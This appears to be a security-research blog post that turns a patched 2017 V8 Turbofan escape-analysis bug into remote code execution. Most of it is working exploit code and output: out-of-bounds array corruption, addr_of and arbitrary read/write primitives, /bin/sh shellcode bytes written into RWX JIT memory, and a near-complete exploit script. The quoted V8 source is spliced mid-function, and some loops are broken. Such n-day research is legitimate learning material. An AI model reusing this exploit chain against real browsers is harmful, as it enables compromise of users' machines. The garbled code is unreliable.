21 minutes
Exploiting an Accidentally Discovered V8 RCE
Please start opening your eyes, if you have something that crashes, don’t just ignore it, don’t just click away…
Take the time to look at what happened, if you surf to a page with your web browser and your web browser disappears, and you surf to the page again and your web browser crashes again, you want to know what this web page does… take a debugger and look at it, try to find out what happened. Don’t ignore everything.
Most people stumble across vulnerabilities every day and don’t realise. So start looking…
Src: Halvar and FX - Take it from here - Defcon 12
Introduction
In order to better understand browser internals and exploit development, it helps to look at old bugs and attempt to take them from PoC or bug report to exploit. Issue 744584: Fatal error in ../../v8/src/compiler/representation-change.cc is particuarly interesting, firstly because there is no (public) exploit already written for it. Secondly because the bug was an accidental find, the bugreporter was a developer who was reporting the issue to the Chromium team to fix his application which was crashing, not because he was looking for security issues, yet it just so happens he stumbled across a potentially exploitable 0-day in Chrome. With this in mind, this should be an interesting bug to look into.
What Halvar and FX said at Defcon 12 rings true here.
The Bug Report
The bug report provides no proof of concept, and little information about the bug other than a crash trace.
UserAgent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Steps to reproduce the problem:
Unfortunately I could not isolate the problem for an easy repro.
I have a JS app of around 3mb minified and the browser crashes at what seem to be random times (I suppose whenever it decides to optimize the problematic function)
What is the expected behavior?
not crash
What went wrong?
Fatal error in ../../v8/src/compiler/representation-change.cc, line 1055
RepresentationChangerError: node #812:Phi of kRepFloat64 (Number) cannot be changed to kRepWord32
STACK_TEXT:
0x0
v8_libbase!v8::base::OS::Abort+0x11
v8_libbase!V8_Fatal+0x91
v8!v8::internal::compiler::RepresentationChanger::TypeError+0x1d9
v8!v8::internal::compiler::RepresentationChanger::GetWord32RepresentationFor+0x18d
v8!v8::internal::compiler::RepresentationChanger::GetRepresentationFor+0x28d
v8!v8::internal::compiler::RepresentationSelector::ConvertInput+0x19d
v8!v8::internal::compiler::RepresentationSelector::VisitPhi+0x12c
v8!v8::internal::compiler::RepresentationSelector::VisitNode+0x31f
v8!v8::internal::compiler::RepresentationSelector::Run+0x4ea
v8!v8::internal::compiler::SimplifiedLowering::LowerAllNodes+0x4c
v8!v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::SimplifiedLoweringPhase>+0x70
v8!v8::internal::compiler::PipelineImpl::OptimizeGraph+0x29f
v8!v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl+0x20
v8!v8::internal::CompilationJob::ExecuteJob+0x1a3
v8!v8::internal::OptimizingCompileDispatcher::CompileTask::Run+0x110
gin!base::internal::FunctorTraits<void (__cdecl v8::Task::*)(void) __ptr64,void>::Invoke<v8::Task * __ptr64>+0x1a
gin!base::internal::InvokeHelper<0,void>::MakeItSo<void (__cdecl v8::Task::*const & __ptr64)(void) __ptr64,v8::Task * __ptr64>+0x37
gin!base::internal::Invoker<base::internal::BindState<void (__cdecl v8::Task::*)(void) __ptr64,base::internal::OwnedWrapper<v8::Task> >,void __cdecl(void)>::RunImpl<void (__cdecl v8::Task::*const & __ptr64)(void) __ptr64,std::tuple<base::internal::OwnedWrapper<v8::Task> > const & __ptr64,0>+0x49
gin!base::internal::Invoker<base::internal::BindState<void (__cdecl v8::Task::*)(void) __ptr64,base::internal::OwnedWrapper<v8::Task> >,void __cdecl(void)>::Run+0x33
base!base::Callback<void __cdecl(void),0,0>::Run+0x40
base!base::debug::TaskAnnotator::RunTask+0x2fd
base!base::internal::TaskTracker::PerformRunTask+0x74b
base!base::internal::TaskTracker::RunNextTask+0x1ea
base!base::internal::SchedulerWorker::Thread::ThreadMain+0x4b9
base!base::`anonymous namespace'::ThreadFunc+0x131
KERNEL32!BaseThreadInitThunk+0x14
ntdll!RtlUserThreadStart+0x21
Did this work before? N/A
Chrome version: 61.0.3158.0 Channel: canary
OS Version: 10.0
Flash Version: Shockwave Flash 25.0 r0
It seems at some stage in the comments, the bug reporter (Marco Giovannini ) did provide a proof of concept, however he has since deleted it, most likely because it contained part of his application code.
As this is an n-day/patched bug, we have the advantage that we can see the change that fixed the bug, as well as the test cases to trigger the bug.
Two test cases were provided as part of the change:
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
function f(x) {
var o = {a : 0};
var l = [1,2,3,4];
var res;
for (var i = 0; i < 3; ++i) {
if (x%2 == 0) { o.a = 1; b = false}
res = l[o.a];
o.a = x;
}
return res;
}
f(0);
f(1);
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
assertEquals(undefined, f(101));
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax --turbo-escape
function f(x) {
var o = {a : 0, b: 0};
if (x == 0) {
o.a = 1
} else {
if (x <= 1) {
if (x == 2) {
o.a = 2;
} else {
o.a = 1
}
o.a = 2;
} else {
if (x == 2) {
o.a = "x";
} else {
o.a = "x";
}
o.b = 22;
}
o.b = 22;
}
return o.a + 1;
}
f(0,0);
f(1,0);
f(2,0);
f(3,0);
f(0,1);
f(1,1);
f(2,1);
f(3,1);
%OptimizeFunctionOnNextCall(f);
assertEquals(f(2), "x1");
Analysis
Obligatory disclaimer - I am not an expert in the V8 codebase and these conclusions on why the vulnerability exists maybe incorrect.
The vulnerable code lies in the VirtualObject::MergeFields
function, which is part of the Escape Analysis phase of Turbofan’s JIT.
“In compiler optimization, escape analysis is a method for determining the dynamic scope of pointers – where in the program a pointer can be accessed. It is related to pointer analysis and shape analysis.” Wikipedia
In V8 - Turbofan uses Escape Analysis to perform optimizations on objects that are bound to a function, if an object does not escape the function’s lifetime, then it does not need to be allocated on the heap and V8 can treat it as a local variable to the function. here it can be stored on the stack, registers or optimized out completely.
See below for V8 Turbofan terms that will be referenced through this post:
- A “Branch” is a conditional control flow path where execution diverges into two nodes.
- A “Merge” combines two control nodes for both sides of a branch.
- A “Phi” combines the values calculated by both sides of a branch.
The merge function below creates a Phi of type based upon the previously seen types in the cache. It appears that the bug lies in the fact the function incorrectly calculates the type, and the attacker controlled value can therefore be a different type to what the compiled function expects.
bool VirtualObject::MergeFields(size_t i, Node* at, MergeCache* cache,
Graph* graph, CommonOperatorBuilder* common) {
bool changed = false;
int value_input_count = static_cast<int>(cache->fields().size());
Node* rep = GetField(i);
if (!rep || !IsCreatedPhi(i)) {
Type* phi_type = Type::None();
for (Node* input : cache->fields()) {
CHECK_NOT_NULL(input);
CHECK(!input->IsDead());
Type* input_type = NodeProperties::GetType(input);
phi_type = Type::Union(phi_type, input_type, graph->zone());
}
Node* control = NodeProperties::GetControlInput(at);
cache->fields().push_back(control);
Node* phi = graph->NewNode(
common->Phi(MachineRepresentation::kTagged, value_input_count),
value_input_count + 1, &cache->fields().front());
NodeProperties::SetType(phi, phi_type);
SetField(i, phi, true);
#ifdef DEBUG
if (FLAG_trace_turbo_escape) {
PrintF(" Creating Phi #%d as merge of", phi->id());
for (int i = 0; i < value_input_count; i++) {
PrintF(" #%d (%s)", cache->fields()[i]->id(),
cache->fields()[i]->op()->mnemonic());
}vp, n);
if (old != cache->fields()[n]) {
changed = true;
NodeProperties::ReplaceValueInput(rep, cache->fields()[n], n);
}
}
}
return changed;
}
Turbolizer Analysis
We start by viewing the graph of our function in Turbolizer. In the Load Eliminated phase, which is the phase before the bug occurs, we can see the function flow as follows, some annotations have been added to demonstrate:
After this, merge, we can see that there is a bounds check and then the LoadElement node where l[o.a]
is looked up. At this stage, there is no bug and the lookup occurs smoothly.
Next, we look for differences after the Escape Analysis phase where the bug occurs. Here we can see that Phi[kRepTagged] Range(0,1)
is added before the checkBounds and LoadElement. Because Turbofan has only seen the values to be 0
or 1
in the previous executions, the compiler set the type to Range(0,1)
.
Finally we look at the next phase, the Simplified Lowering phase, and it seems that because the type Range(0,1) is expected, the bounds check has been optimized out and removed:
The lack of bounds checks allow us to read and write out of bounds on this array.
Exploitation
On initial look at first testcase, it seems that by validating f(101) is undefined, they are confirming that Array no longer can be read out of bounds (OOB).
To validate this assumption, the PoC can be run against the vulnerable version of V8, replacing assertEquals with print.
function f(x) {
var o = {a : 0};
var l = [1,2,3,4]
var res;
for (var i = 0; i < 3; ++i) {
if (x%2 == 0) { o.a = 1; b = false}
res = l[o.a];
o.a = x;
}
return res;
}
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
print(f(101))
./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
#
# Fatal error in ../v8/src/objects.h, line 1584
# Debug check failed: !IsSmi() == Internals::HasHeapObjectTag(this) (1 vs. 0).
#
==== C stack trace ===============================
/home/zon8/accidentalnday/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7efdae48d363]
/home/zon8/accidentalnday/./libv8_libplatform.so(+0x7d8b) [0x7efdae46cd8b]
/home/zon8/accidentalnday/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0xdc) [0x7efdae4891fc]
/home/zon8/accidentalnday/./libv8.so(+0x1ad31a) [0x7efdad52a31a]
./d8(+0x124cb) [0x55574932a4cb]
./d8(+0x125ee) [0x55574932a5ee]
/home/zon8/accidentalnday/./libv8.so(+0x18cee2) [0x7efdad509ee2]
/home/zon8/accidentalnday/./libv8.so(+0x26b895) [0x7efdad5e8895]
/home/zon8/accidentalnday/./libv8.so(+0x26a1a9) [0x7efdad5e71a9]
[0x268f68a044c4]
Received signal 4 ILL_ILLOPN 7efdae48c012
[1] 4436 illegal hardware instruction (core dumped) ./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental
The error Debug check failed: !IsSmi() == Internals::HasHeapObjectTag(this) (1 vs. 0).
is caused because the script is trying to read a nonSMI value into a PACKED_SMI_ELEMENTS
array. By changing l
to a double array or PACKED_DOUBLE_ELEMENTS
array to be exact, it should be possible to read the raw value.
function f(x) {
var o = {a : 0};
var l = [1.1,2.2,3.3,4.4];
var res;
for (var i = 0; i < 3; ++i) {
if (x%2 == 0) { o.a = 1; b = false}
res = l[o.a];
o.a = x;
}
return res;
}
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
print(f(101))
./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
-1.1885946300594787e+148
This script returns -1.1885946300594787e+148
and demonstrates the bug can be used to read OOB. The next step is to write OOB to overwrite the length element of an adjacent array so that it can be used to craft addr_of
and fake_obj
primitives.
But first to do this, the offset to the adjacent array’s length parameter needs to be calculated. This can be found easily enough using trial and error, or using GDB to calculate the offset.
var l = [1.1,2.2,3.3,4.4];
var oob_array = new Array(20);
oob_array[0]=5.5;
oob_array[1]= 6.6;
Using trial and error the second element of the adjacent array 6.6
can be located.
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
6.6
The layout at the JSArray elements pointer (for an array [1,2,3]
) is shown below:
0x3be95438dcd0: 0x0000000300000000 <- Length
0x3be95438dcd8: 0x0000000100000000 <- Element[0]
0x3be95438dce0: 0x0000000200000000 <- Element[1]
0x3be95438dce8: 0x0000000300000000 <- Element[2]
Meaning as we have the offset to the second element (6.6
) we can just subtract two to get the length offset.
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
4.24399158193e-313
The returned value 4.24399158193e-313
needs to be converted from double to SMI. This can be done using Saelo’s Int64 library plus some custom functions to convert SMI to Integer shown below:
function int_to_smi(val) {
z=0
return "0x" + val.toString(16).padStart(8,'0') + z.toString(16).padStart(8,'0')
}
function smi_to_int(val) {
val = val.toString()
if (!val.startsWith("0x")) {
throw("Does not start with 0x");
}
val = val.substring(2)
val = val.slice(0,-8)
print(val)
val = Number("0x"+val)
return val
}
%OptimizeFunctionOnNextCall(f);
res = Int64.fromDouble(f(9));
print(smi_to_int(res))
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
20
The result is the integer 20
, demonstrating that the Array length has been found.
This can now be used to overwrite the Array length to create an Array that can read and write OOB.
Initially we try use our helper functions to do this as shown below:
initial_oob_array[o.a] = new Int64(int_to_smi(65535)).asDouble();
o.a = x;
}
return res;
However the added functionality of these helper functions causes the JIT to deoptimize and hence breaks the exploit. This can be verified by adding the --trace-deopt
flag to the exploit.
➜ accidentalnday ../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
[deoptimizing (DEOPT eager): begin 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)> (opt #0) @36, FP to SP delta: 136, caller sp: 0x7fff6cfe2fe0]
;;; deoptimize at <bug.js:163:28>, out of bounds
// Convenience functions. These allocate a new Int64 to hold the result.
reading input frame f => bytecode_offset=146, args=2, height=11; inputs:
0: 0x1ad49b9ad3a9 ; [fp - 16] 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)>
1: 0x25e9267033e1 ; [fp + 24] 0x25e9267033e1 <JSGlobal Object>
2: 0x700000000 ; [fp + 16] 7
3: 0x1ad49b983d91 ; [fp - 8] 0x1ad49b983d91 <FixedArray[278]>
4: 0x25e92671e4e1 ; [fp - 24] 0x25e92671e4e1 <Object map = 0x2c688bf8e0c9>
5: 0x25e92671e531 ; rcx 0x25e92671e531 <JSArray[4]>
6: 0x384e6fd82311 ; (literal 5) 0x384e6fd82311 <undefined>
7: 1 ; (int) [fp - 40]
8: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
9: 0x700000000 ; [fp - 48] 7
10: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
11: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
12: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
13: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
14: 0x25e92671fec1 ; rax 0x25e92671fec1 <Number 1.39065e-309>
translating interpreted frame f => bytecode_offset=146, height=88
0x7fff6cfe2fd8: [top + 152] <- 0x25e9267033e1 ; 0x25e9267033e1 <JSGlobal Object> (input #1)
0x7fff6cfe2fd0: [top + 144] <- 0x700000000 ; 7 (input #2)
-------------------------
0x7fff6cfe2fc8: [top + 136] <- 0xe6f4b9f7592 ; caller's pc
0x7fff6cfe2fc0: [top + 128] <- 0x7fff6cfe2fe8 ; caller's fp
0x7fff6cfe2fb8: [top + 120] <- 0x1ad49b983d91 ; context 0x1ad49b983d91 <FixedArray[278]> (input #3)
0x7fff6cfe2fb0: [top + 112] <- 0x1ad49b9ad3a9 ; function 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)> (input #0)
0x7fff6cfe2fa8: [top + 104] <- 0x384e6fd82311 ; new_target 0x384e6fd82311 <undefined> (input #0)
0x7fff6cfe2fa0: [top + 96] <- 0x1ad49b9b4801 ; bytecode array 0x1ad49b9b4801 <BytecodeArray[168]> (input #0)
0x7fff6cfe2f98: [top + 88] <- 0xc700000000 ; bytecode offset @ 146
-------------------------
0x7fff6cfe2f90: [top + 80] <- 0x25e92671e4e1 ; 0x25e92671e4e1 <Object map = 0x2c688bf8e0c9> (input #4)
0x7fff6cfe2f88: [top + 72] <- 0x25e92671e531 ; 0x25e92671e531 <JSArray[4]> (input #5)
0x7fff6cfe2f80: [top + 64] <- 0x384e6fd82311 ; 0x384e6fd82311 <undefined> (input #6)
0x7fff6cfe2f78: [top + 56] <- 0x100000000 ; 1 (input #7)
0x7fff6cfe2f70: [top + 48] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #8)
0x7fff6cfe2f68: [top + 40] <- 0x700000000 ; 7 (input #9)
0x7fff6cfe2f60: [top + 32] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #10)
0x7fff6cfe2f58: [top + 24] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #11)
0x7fff6cfe2f50: [top + 16] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #12)
0x7fff6cfe2f48: [top + 8] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #13)
0x7fff6cfe2f40: [top + 0] <- 0x25e92671fec1 ; accumulator 0x25e92671fec1 <Number 1.39065e-309> (input #14)
[deoptimizing (eager): end 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)> @36 => node=146, pc=0xe6f4b9c2a80, caller sp=0x7fff6cfe2fe0, state=TOS_REGISTER, took 0.296 ms]
[removing optimized code for: 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)>]
The fix this, the raw double 65535 value can be used:
initial_oob_array[o.a] = 1.39064994160909e-309;
The function no longer deoptimizes, and oob_array.length
has been overwritten:
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
0x7ff8000000000000
Smashed oob_array length to: 65535
To create the addr_of
primitive, an elements array is required.
To find the offset to this array, we can place elements to search for as shown by the 1337
element below:
elements_array = [1337,{},{}]
These can be found using the following loop:
function find_offset_smi(val) {
for (i=0; i<5000; i++){
if (oob_array[i] == new Int64(int_to_smi(val)).asDouble()) {
print("Found offset: "+i);
offset = i;
return offset
}
}
}
This offset is now used in the addr_of
function which allows the address to be retrieved for any object:
function addr_of(obj){
elements_array[0] = obj;
return Int64.fromDouble(oob_array[elements_offset])
}
var test = {hello:"world"}
elements_offset = find_offset_smi(1337);
double_offset = find_offset_double(1.337)
print(addr_of(test))
Running the script now successfully prints an address the test
object, confirming the addr_of
function works:
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
Found offset: 36
Found offset: 45
0x00001b590f215e81
To achieve arbitrary read and write, we utilize an ArrayBuffer and pointing it’s backing store to the address we want to read/write from/to.
arb_rw_arraybuffer = new ArrayBuffer(0x200)
First we have to find the offset to this ArrayBuffer. One of the ways we could find the offset to this ArrayBuffer is by searching for the size:
print(find_offset_smi(0x200)) // Found offset: 55
Looking at memory we can see that the backing store address comes after the byte length (size) of the ArrayBuffer:
V8 version 6.2.0 (candidate)
d8> var ab = new ArrayBuffer(500)
undefined
d8> %DebugPrint(ab)
DebugPrint: 0x25ed4e20bf69: [JSArrayBuffer]
- map = 0xacfdf683179 [FastProperties]
- prototype = 0x3dcd6128c391
- elements = 0x18e996982241 <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = 0x55973df4f220
- byte_length = 500
- neuterable
- properties = 0x18e996982241 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
0xacfdf683179: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 80
- inobject properties: 0
- elements kind: HOLEY_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x18e996982311 <undefined>
- instance descriptors (own) #0: 0x18e996982231 <FixedArray[0]>
- layout descriptor: (nil)
- prototype: 0x3dcd6128c391 <Object map = 0xacfdf6831d1>
- constructor: 0x3dcd6128c1c9 <JSFunction ArrayBuffer (sfi = 0x18e9969c5d89)>
- code cache: 0x18e996982241 <FixedArray[0]>
- dependent code: 0x18e996982241 <FixedArray[0]>
- construction counter: 0
[object ArrayBuffer]
d8> ^C
pwndbg> x/8gx 0x25ed4e20bf69-1
0x25ed4e20bf68: 0x00000acfdf683179 <- Map
0x25ed4e20bf70: 0x000018e996982241 <- Properties
0x25ed4e20bf78: 0x000018e996982241 <- Elements
0x25ed4e20bf80: 0x000001f400000000 <- Byte length
0x25ed4e20bf88: 0x000055973df4f220 <- Backing store
...
...
This means we can get the offset to the ArrayBuffer’s backing store by incrementing the offset to the byte length by one:
array_buffer_backing_store_offset = array_buffer_size_offset+1
We can now read or write to any address:
function read_64(addr) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
let accessor = new Uint32Array(arb_rw_arraybuffer);
return new Int64(undefined, accessor[1], accessor[0]);
}
function write_64(addr, value) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
let accessor = new Uint32Array(target_array_buffer);
accessor[0] = value.low;
accessor[1] = value.high;
}
As the version of V8 and Chrome used in this bug still uses RWX JIT pages, it is possible to write to and directly execute shellcode in the RWX pages. This has been fixed in recent versions with the introduction of W^X in Chrome/V8, however there are still ways to gain code execution such as RWX WASM pages and ROP.
The screenshot from GDB confirms this version of V8 has RWX pages:
To write our shellcode, we need to create another ArrayBuffer to store it in. This again can be found by searching for the size and incrementing the offset:
shellcode_array_buffer = new ArrayBuffer(0x456)
...
...
shellcode_array_buffer_backing_store_offset = find_offset_smi(0x456)
shellcode_array_buffer_backing_store_offset++
To achieve code execution the core concepts are as follows:
- JIT compile a function
- Find the pointer to RWX JIT pages for the JITTed function
- Point the ArrayBuffer backing store to the RWX memory
- Write shellcode to the ArrayBuffer
- Execute the JIT function.
To JIT compile a function we can just execute it a lot of times.
function jitme(val) {
return val+1
}
for (i=0; i>100000; i++) {
jitme(1)
}
We are looking for - code = 0x17f593884c21 <Code OPTIMIZED_FUNCTION>
.
We are able to find an address close to this if we read the address at the 0x38 offset to the JIT function pointer.
This is calculated using the below JavaScript.
jitted_function_ptr = addr_of(jitme)
print("JIT Function: "+ jitted_function_ptr)
let JIT_ptr = read_64(jitted_function_ptr.add(0x38-1));
We are using a simple /bin/sh shellcode generated using PwnTools:
const SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 104, 46, 114, 105, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 69, 68, 59, 32, 47, 98, 105, 110, 80, 72, 184, 101, 99, 104, 111, 32, 80, 87, 78, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
shell_code_writer.set(SHELLCODE);
Finally, we execute the JIT compiled function to gain code execution and a shell:
jitme()
➜ accidentalnday ../accidentalnday_release/d8 nday.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
Found offset: 36
Found offset: 45
Found offset: 55
Found offset: 65
JIT Function: 0x00001294cf5af4a9
JIT PTR: 0x000030b8f5904cc0
$ id
uid=1000(zon8) gid=1000(zon8) groups=1000(zon8),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
$
Removing the CLI Flags
Currently this exploit only works with a series of nondefault CLI flags (seen below) that would not be active in normal installations of Chrome or V8. Therefore if we were trying to create a stable exploit, we would want to remove these flags.
./d8 nday.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
--allow-natives-syntax
is used for the OptimizeOnNextFunctionCall
functions which forces functions to be optimized and compiled by Turbofan JIT. This is relatively trivial to remove as it is possible to create a loop that calls the function thousands of times to trigger the JIT compilation of the function.
Before:
%OptimizeFunctionOnNextCall(f);
After:
for (i=0; i<100000; i++) {
f(1);
}
--no-turbo-loop-peeling
prevents loop peeling or loop splitting.
Loop splitting is a compiler optimization technique. It attempts to simplify a loop or eliminate dependencies by breaking it into multiple loops which have the same bodies but iterate over different contiguous portions of the index range.
Loop peeling is a special case of loop splitting which splits any problematic first (or last) few iterations from the loop and performs them outside of the loop body.
We are able to successfully disable loop peeling in our function by adding some if statements that do not change the functionality of the exploit, but modify the loop just enough that the optimizer can no longer peel any iterations of our loop.
Before:
for (var i = 0; i < 3; ++i) {
if (x % 2 == 0) { o.a = 1;b = false }
initial_oob_array[o.a] = 1.39064994160909e-309;
o.a = x;
}
After:
for (var i = 0; i < 3; ++i) {
if (i > 2) {
if (x % 2 == 0) {
o.a = 1;
b = false
}
}
if (i == 0) {
if (x % 2 == 0) {
o.a = 1;
b = false
}
}
initial_oob_array[o.a] = 1.39064994160909e-309;
o.a = x;
}
Now we are down to the following flags:
./d8 nday.js --turbo-escape --turbo-experimental
The flag --turbo-escape
just forces the escape analysis phase to happen, this is already happening so we can safely remove this flag and the exploit will continue to function.
Finally we have the --turbo-experimental
flag. This flag only effects the below function:
void EscapeAnalysis::ProcessCheckMaps(Node* node) {
DCHECK_EQ(node->opcode(), IrOpcode::kCheckMaps);
ForwardVirtualState(node);
Node* checked = ResolveReplacement(NodeProperties::GetValueInput(node, 0));
if (FLAG_turbo_experimental) {
VirtualState* state = virtual_states_[node->id()];
if (VirtualObject* object = GetVirtualObject(state, checked)) {
if (!object->IsTracked()) {
if (status_analysis_->SetEscaped(node)) {
TRACE(
"Setting #%d (%s) to escaped because checked object #%i is not "
"tracked\n",
node->id(), node->op()->mnemonic(), object->id());
}
return;
}
CheckMapsParameters params = CheckMapsParametersOf(node->op());
Node* value = object->GetField(HeapObject::kMapOffset / kPointerSize);
if (value) {
value = ResolveReplacement(value);
// TODO(tebbi): We want to extend this beyond constant folding with a
// CheckMapsValue operator that takes the load-eliminated map value as
// input.
if (value->opcode() == IrOpcode::kHeapConstant &&
params.maps().contains(ZoneHandleSet<Map>(bit_cast<Handle<Map>>(
OpParameter<Handle<HeapObject>>(value))))) {
TRACE("CheckMaps #%i seems to be redundant (until now).\n",
node->id());
return;
}
}
}
}
if (status_analysis_->SetEscaped(node)) {
TRACE("Setting #%d (%s) to escaped (checking #%i)\n", node->id(),
node->op()->mnemonic(), checked->id());
}
}
As the above function shows, if the turbo experimental flag is enabled, there is a bit of extra functionality. If we disable the --turbo-experimental
flag the exploit no longer works, so this functionality must be important for the exploit.
Or so we thought… However, after some debugging with gdb
and printf
, it was identified that the only reason this flag causes the exploit to work, is not because of any of the functions within the if (FLAG_turbo_experimental) {
statement. It is actually because it allows the function to return
early and exit before the following piece of code is called:
if (status_analysis_->SetEscaped(node)) {
TRACE("Setting #%d (%s) to escaped (checking #%i)\n", node->id(),
node->op()->mnemonic(), checked->id());
}
This piece of code breaks the exploit. If we comment it out, the exploit works with and without the --turbo-experimental
flag.
This code calls the following function:
bool EscapeStatusAnalysis::SetEscaped(Node* node) {
bool changed = !(status_[node->id()] & kEscaped);
status_[node->id()] |= kEscaped | kTracked;
return changed;
}
To make this exploit work without the flag, we have to find a way to exploit this bug without calling checkMaps. If we look back to the original PoCs, we can see this test case does not require the experimental flag. This is presumably because it doesn’t use l[o.a]
which would trigger checkMaps which we confirmed by adding printf
statements in V8 to check when the function would be called. In the next blog post we will investigate to see if this can be exploited without forcing a checkMaps call.
For now, check out the full exploit that works on V8 6.2.0 with the --turbo-experimental
flag.
load('/home/zon8/accidentalnday/int64.js')
function f(x) {
var o = { a: 0, b: 0 };
var initial_oob_array = [1.1, 2.2, 3.3, 4.4];
oob_array = new Array(20);
oob_array[0] = 5.5
oob_array[1] = 6.6
elements_array = [1337, {}, {}]
double_array = [1.337, 10.5, 10.5]
arb_rw_arraybuffer = new ArrayBuffer(0x200)
shellcode_array_buffer = new ArrayBuffer(0x5421)
var res;
for (var i = 0; i < 3; ++i) {
if (i > 2) {
if (x % 2 == 0) { o.a = 1; }
}
if (i == 0) {
if (x % 2 == 0) { o.a = 1; }
}
initial_oob_array[o.a] = 1.39064994160909e-309;
o.a = x;
}
return res;
}
f(0);
f(1);
f(0);
f(1);
var oob_array = [];
var elements_array;
var double_array;
var arb_rw_arraybuffer;
var shellcode_array_buffer;
for (i = 0; i < 100000; i++) {
f(1);
}
res = Int64.from_double(f(7));
elements_offset = -1;
function find_offset_smi(val) {
for (i = 0; i < 5000; i++) {
if (oob_array[i] == new Int64(val).V8_to_SMI().to_double()) {
// print("Found offset: " + i);
offset = i;
return offset
}
}
}
function find_offset_double(val) {
for (i = 0; i < 5000; i++) {
if (oob_array[i] == val) {
// print("Found offset: " + i);
offset = i;
return offset
}
}
}
function addr_of(obj) {
elements_array[0] = obj;
return Int64.from_double(oob_array[elements_offset])
}
function read_64(addr) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
let accessor = new Uint32Array(arb_rw_arraybuffer);
return new Int64(undefined, accessor[1], accessor[0]);
}
function write_64(addr, value) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
let accessor = new Uint32Array(arb_rw_arraybuffer);
accessor[0] = value.low;
accessor[1] = value.high;
}
var test = { hello: "world" }
elements_offset = find_offset_smi(1337);
double_offset = find_offset_double(1.337)
testaddress = addr_of(test)
// print(testaddress);
array_buffer_backing_store_offset = find_offset_smi(0x200)
array_buffer_backing_store_offset++
shellcode_array_buffer_backing_store_offset = find_offset_smi(0x5421)
shellcode_array_buffer_backing_store_offset = shellcode_array_buffer_backing_store_offset + 1
// print(">> Found shellcode array buffer offset: " + shellcode_array_buffer_backing_store_offset)
function jitme(val) {
return val + 1
}
for (i = 0; i > 100000; i++) {
jitme(1)
}
for (i = 0; i > 100000; i++) {
jitme(1)
}
for (i = 0; i > 100000; i++) {
jitme(1)
}
for (i = 0; i > 100000; i++) {
jitme(1)
}
jitme(1)
